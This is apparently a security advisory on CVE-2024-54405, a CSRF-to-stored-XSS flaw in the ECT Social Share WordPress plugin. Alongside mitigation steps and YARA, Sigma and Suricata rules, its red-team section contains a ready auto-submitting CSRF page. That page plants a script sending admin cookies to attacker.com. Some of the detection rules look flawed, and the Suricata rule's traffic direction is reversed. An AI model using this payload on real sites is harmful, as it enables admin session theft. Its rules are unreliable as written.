CVE-2024-54405

Executive Summary

CVE-2024-54405 is a Cross-Site Request Forgery (CSRF) vulnerability in the ECT Social Share WordPress plugin (version <= 1.3) developed by etemplates. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. The CSRF vulnerability leads to Stored Cross-Site Scripting (XSS), enabling persistent payload execution in the WordPress admin panel. With a CVSS score of 7.1 (High), this issue poses a significant risk to WordPress sites using the plugin, especially given the lack of a confirmed patch. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the vulnerability remains unpatched.

Supply Chain & Package Security

This vulnerability affects the ECT Social Share WordPress plugin, which is distributed via the official WordPress plugin repository. As a WordPress ecosystem component, it is not managed through NPM, PyPI, Go, or Ruby registries. However, the plugin’s unpatched status introduces supply chain risk for any site that has installed it. Administrators should treat the plugin as a compromised dependency and either remove it or apply virtual patching until an official update is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Attacker does not need authentication.
• User Interaction: Required (UI:R) – Victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: Low (A:L) – Minor disruption possible.

Threat Level: High. The combination of CSRF and Stored XSS allows attackers to execute arbitrary JavaScript in the context of an authenticated admin session, potentially leading to full site compromise, credential theft, or malware distribution.

Deep Dive & Mechanics

The vulnerability resides in the ECT Social Share plugin’s settings page, which lacks CSRF protection. An attacker can craft a malicious HTML page that, when visited by an authenticated WordPress administrator, submits a forged request to the plugin’s settings endpoint. This request can modify plugin options, including social share button configurations, and inject malicious JavaScript payloads. Because the plugin stores these settings in the WordPress database without proper sanitization, the injected script becomes persistent (Stored XSS). The script executes whenever an admin accesses the plugin settings page, allowing the attacker to steal session cookies, perform actions on behalf of the admin, or redirect users to malicious sites.

Attack Flow:

1. Attacker identifies a WordPress site using ECT Social Share <= 1.3.
2. Attacker crafts a CSRF exploit page containing a form that submits a POST request to /wp-admin/options-general.php?page=ect-social-share with malicious payloads (e.g., option_value=<script>alert('XSS')</script>).
3. Attacker lures an authenticated admin to visit the exploit page (e.g., via phishing email or social engineering).
4. The admin’s browser submits the forged request, updating the plugin settings with the XSS payload.
5. The payload executes on subsequent visits to the settings page, granting the attacker persistent access.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.3): The plugin’s settings handler does not implement a CSRF nonce check. Example vulnerable PHP snippet:

// In ect-social-share.php
add_action('admin_init', 'ect_save_settings');
function ect_save_settings() {
    if (isset($_POST['ect_option'])) {
        update_option('ect_option', $_POST['ect_option']); // No nonce verification
    }
}

Patched Code (Hypothetical): A patched version would include a nonce check and output sanitization:

// Patched version
add_action('admin_init', 'ect_save_settings');
function ect_save_settings() {
    if (isset($_POST['ect_option']) && wp_verify_nonce($_POST['_wpnonce'], 'ect_save_settings')) {
        update_option('ect_option', sanitize_text_field($_POST['ect_option']));
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with ECT Social Share <= 1.3 installed and activated.
• An authenticated admin session (target user must be logged in).

Exploit Steps:

1. Create a malicious HTML file (csrf_exploit.html) with the following content:

<html>
<body>
<form action="http://target-site.com/wp-admin/options-general.php?page=ect-social-share" method="POST">
    <input type="hidden" name="ect_option" value="<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

2. Host the file on an attacker-controlled server.
3. Send the link to an authenticated admin (e.g., via email).
4. Once the admin visits the page, the CSRF request executes, injecting the XSS payload.
5. The payload triggers on the admin’s next visit to the plugin settings page, exfiltrating cookies to the attacker’s server.

Note: No public exploit code is available from Exploit-DB.

Blue Team (Defensive)

Detection:

• Monitor for unexpected POST requests to /wp-admin/options-general.php?page=ect-social-share from non-admin IPs.
• Look for suspicious ect_option values containing <script> tags in database logs.
• Use the Sigma rule below to detect CSRF attempts.

Mitigation:

• Immediately disable or remove the ECT Social Share plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block requests with ect_option containing HTML/JavaScript.
• Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/ect-social-share/ect-social-share.php (version <= 1.3)
• Database Option: ect_option containing <script> tags or obfuscated JavaScript.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin panel.
• Logs: Repeated POST requests to /wp-admin/options-general.php?page=ect-social-share with non-standard parameters.

Detection Engineering

YARA Rule

rule detect_ect_social_share_csrf_xss {
    meta:
        description = "Detects ECT Social Share plugin files with CSRF/XSS vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54405"
    strings:
        $vuln_func = "update_option('ect_option'" nocase
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $vuln_func and $xss_payload
}

Sigma Rule

title: ECT Social Share CSRF to Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF attempts targeting ECT Social Share plugin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/options-general.php?page=ect-social-share'
        cs-uri-query|contains: 'ect_option='
    condition: selection
falsepositives:
    - Legitimate admin updates
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-54405 ECT Social Share CSRF Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/options-general.php?page=ect-social-share";
    http_uri;
    content:"ect_option=";
    http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete ECT Social Share from all WordPress installations.
2. Virtual Patching: Add a WAF rule to block requests containing ect_option with HTML tags.
3. Audit Logs: Check for unauthorized changes to the ect_option database entry.

Long-Term Fix:

• The vendor (etemplates) must release a patched version (>= 1.4) that includes CSRF nonce verification and output sanitization.
• Until then, consider using alternative social share plugins with active maintenance.

User Awareness:

• Train administrators to avoid clicking suspicious links while logged into WordPress.
• Enforce multi-factor authentication (MFA) for admin accounts.

Valters IT